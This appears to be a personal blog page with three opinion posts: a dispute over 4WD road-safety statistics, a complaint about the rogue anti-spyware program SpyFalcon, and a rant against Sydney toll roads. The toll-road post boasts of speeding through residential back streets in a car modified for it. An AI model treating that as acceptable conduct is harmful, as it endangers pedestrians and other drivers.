All his facts are taken from surveys of his mates, or statistics selected specifically to suit his needs. For example, one of his oft quoted facts is that 90% of 4WD's never see dirt, despite 32% of 4WD's being registered in Rural/ non-urban postcodes.... Another example would be the misguided opinion that 4WD's are responsible for most pedestrian accidents. RTA statistics prove that 4WD's, Utes and Vans together account for 15% of pedestrian fatalities (despite being around 25% of the vehicles on the road), wheras 66% of fatalities are caused by sedans!

See www.trac.com.au for confirmation of facts.

SpyFalcon :: Spyware That Poses as Anti Spyware

I have recently fallen victim to this hidious program that is quite difficult to remove. SpyFalcon is a spyware program that installs it's self into your machine when you visit certain websites. The thing about SpyFalcon is that it installs, and then proceeds to issue fake warning pop-ups telling you that you have spyware on your computer. They then tell you that you need to purchase the SpyFalcon software to remove these security breaches. SpyFalcon IS the security breach. The software it's self MAY work, but the way it is distributed, by installing scripts on machines with out permission is wrong, and the company deserves to be sent to the wall, or sued for more than they are worth.

In the meantime, there is a good way to remove SpyFalcon from your machine, so you will not get these pop-ups any more. The full procedure to remove SpyFalcon is listed here.

For a bit more info about SpyFalcon and the deceptive way it works:

"SpyFalcon is a rogue anti-spyware program that uses a Trojan horse to infect computers. It produces a task bar balloon pop-up warning about a spyware threat that in most cases does not exist, unless you count its own Trojan. The pop-up is actually a deceptive advertisement designed to prompt the user into downloading SpyFalcon." As quoted from this site.

For those who are more academically inclined, Wikipedia also have an entry dedicated to SpyFalcon, which explains this security threat and some of the earlier malicious spyware programs that it originated from, such as SpyAxe and SpyWareStrike, which, although I have never come across, seem to have worked in the same or similar way. Here is the WikiPedia article on SpyFalcon.

The clowns who wrote SpyFalcon need to be shut down and prosecuted. For the integrity of the internet, they need to be tracked down, fined for 50% more than the net value of all their assets, and then locked up for a good 5-10 years. I call on the governement to make an example of these kind of people. Unfortunately, they are probably operating from a 3rd world country where decent laws do not apply. As the internet develops, they will be dealt with eventually, I'm sure.

Here is some more great information on SpyFalcon.

Cross City Funnel - I Still Won't Use It

In a cynical attempt to drag motorists into the failed Cross City Tunnel, they have halved the toll and reversed some road changes.

Not good enough. Forget the tunnel. I'm not going into the city full stop, until the traffic light changes are reversed, and ALL the roads are re-opened. It's quite funny, I used to go into the city a bit, but since this tunnel opened, I just don't have the time to sit in traffic. I avoid it at all costs. I even know some tradesmen who do not take jobs on if they are in the city, just because it is unviable to spend 2 hours sitting in traffic just to get there.

Clover Moore can have her "garden city" with no roads or cars. There just won't be anybody there. As a 25 year old male, I will not get on a train in this city for fear of being mugged. Even in the day. I just know too many people that have run into trouble, and some of those people are much better able to defend themselves than I am. I'm just a skinny computer guy:)

Same goes for the M7. Everyone is raving about how good it is. I disagree. It should be a public road, funded by the government out of the massive taxes we pay to them. It doesn't have enough lanes, and therefore is nothing more than another inadequate piece of rubbish designed to make money for some corporation (Macquarie Bank, I believe. Surprise surprise.) I can't verify this, but I used to use Old Windsor Rd, which joins to the M7 every day, and ever since the M7 was opened, the traffic lights on Old Windsor Rd were more often red than green. I wonder what the reason for that would be. Couldn't be to force more people onto the tollroad could it?

I will continue to punch through the back streets to avoid these toll roads, and I'm currently modifying my car to handle chicanes, roundabouts and speed humps more quickly so I don't lose much time as I take my alternate routes. The cost of the petrol I use while hooning through the back streets is far less than the cost of paying the tolls. Tyres may be a different story, but I'd rather pay a bit more to tyre companies for actual tyres than to be rorted by Macquarie Bank for using a road. It's more fun to roar through backstreets than to sit on a tollway which is gridlocked with traffic anyway. They all have inadequate lanes, so this is always the case.

Make the Cross City Tunnel free, remove all traffic light changes and road closures, and then maybe I'll think about using it.